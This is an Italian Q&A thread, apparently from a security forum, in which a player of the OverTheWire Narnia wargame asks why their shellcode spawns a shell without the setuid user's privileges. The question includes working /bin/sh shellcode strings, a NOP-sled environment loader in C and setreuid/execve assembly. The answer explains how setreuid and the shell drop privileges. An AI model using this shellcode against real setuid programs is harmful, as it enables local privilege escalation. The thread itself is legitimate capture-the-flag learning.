Perché il bit setuid non funziona quando eseguo questo binario?

2

Attualmente sto affrontando le sfide di Narnia su overthewire.org. Per la sfida 1 - > 2, mi imbatto in un problema che non riesco a capire. Fondamentalmente c'è un programma in C chiamato narnia1 che ha il bit setuid impostato. Questo è il codice per questo.

int main(){
  int (*ret)();

  if(getenv("EGG")==NULL){    
      printf("Give me something to execute at the env-variable EGG\n");
      exit(1);
  }

  printf("Trying to execute EGG!\n");
  ret = getenv("EGG");
  ret();

  return 0;
}

Il setuid dovrebbe darmi i permessi narnia2 quando è in esecuzione, quindi sto provando a generare una shell con narnia2 privs per leggere il file di password / etc / narnia_pass / narnia2. Ho provato due metodi diversi, ma entrambi hanno generato una shell come narnia1. Il primo metodo che ho usato è stato provare a stampare uno shellcode con python.

export EGG=$(python -c 'print "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42"')

Ho provato a utilizzare uno shellcode più semplice che non rimuoveva alcun carattere errato, ma non ha funzionato neanche. Ho appena ricevuto una shell narnia1. Il secondo metodo che ho usato è stato la creazione di un programma C per impostare env var con lo shellcode.

#define NOP 0x90

char shellcode[] ="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

int main(void)
{
       char shell[512];

        puts("Eggshell loaded into environment.\n");
        memset(shell,NOP,512);
        memcpy(&shell[512-strlen(shellcode)],shellcode,strlen(shellcode));
        setenv("EGG", shell, 1);
        putenv(shell);
        system("bash");
        return 0;
}

Entrambi questi metodi erano identici ai metodi che ho trovato su tutte le guide online di narnia, ma non riesco a farli funzionare correttamente. Ho provato a eseguire il mio programma eggcode.c nella directory narnia invece che in tmp, ma non ha funzionato. Ho anche provato a utilizzare lo shellcode derivato dal seguente linguaggio assembly:

   xor eax, eax
   mov al, 70              ;setreuid is syscall 70
   xor ebx, ebx
   xor ecx, ecx
   int 0x80

   jmp short ender

   starter:

   pop ebx                 ;get the address of the string
   xor eax, eax

   mov [ebx+7 ], al        ;put a NULL where the N is in the string
   mov [ebx+8 ], ebx       ;put the address of the string to wherethe
                           ;AAAA is
   mov [ebx+12], eax       ;put 4 null bytes into where the BBBB is
   mov al, 11              ;execve is syscall 11
   lea ecx, [ebx+8]        ;load the address of where the AAAA was
   lea edx, [ebx+12]       ;load the address of the NULLS
   int 0x80                ;call the kernel, WE HAVE A SHELL!

   ender:
   call starter
   db '/bin/shNAAAABBBB'

Ancora una volta, questo ha generato solo una shell narnia1. Il codice sta generando una shell, quindi questo mi fa pensare che il problema non è con lo shellcode. Non sono sicuro di cos'altro posso fare, comunque. Qualsiasi aiuto sarebbe davvero apprezzato.

    
posta Joel B. 09.04.2018 - 00:30
fonte

1 risposta

1

Penso che tu sia sulla strada giusta con l'esempio del codice assembly che hai dato, e in particolare, la parte che fa chiamare il sistema a setreuid. Tuttavia, stai cercando di impostare gli ID utente reali ed effettivi su 0. Secondo la pagina man, non funzionerà.

Unprivileged users may only set the real user ID to the real user ID or the effective user ID.

Fonte: link

In narnia0.c, puoi vedere che c'è una chiamata a setreuid(geteuid(),geteuid()); prima della chiamata a system("/bin/sh") . Quindi credo che tu debba modificare la tua chiamata di sistema per impostare setuuid in assembly su qualcosa di simile.

Ho trovato un vecchio write-up per narnia0 che include il codice sorgente di narnia0.c com'era al momento del write-up, e non include quella chiamata setreuid . Questo ha senso dal momento che i vecchi write-up per narnia1 non dovevano includere neanche una chiamata a setreuid nello shellcode. Qualcosa deve essere cambiato sia nel modo in cui il sistema è configurato o nel modo in cui viene gestito l'id utente effettivo quando si genera una shell.

Ora, lo shellcode che esegue qualche altro comando (es. cat) direttamente piuttosto che provare a generare una shell funziona (può accedere ai file narnia2) senza una chiamata precedente a setreuid, quindi sembra che tutto ciò che è cambiato abbia solo un impatto su lanciare una shell. Forse la shell stessa è cambiata in modo che ora reimposta l'ID utente effettivo all'ID utente reale al momento del lancio, ma sto solo supponendo a questo punto (anche se questo spiegherebbe tutto quanto sopra).

    
risposta data 03.06.2018 - 00:30
fonte

Leggi altre domande sui tag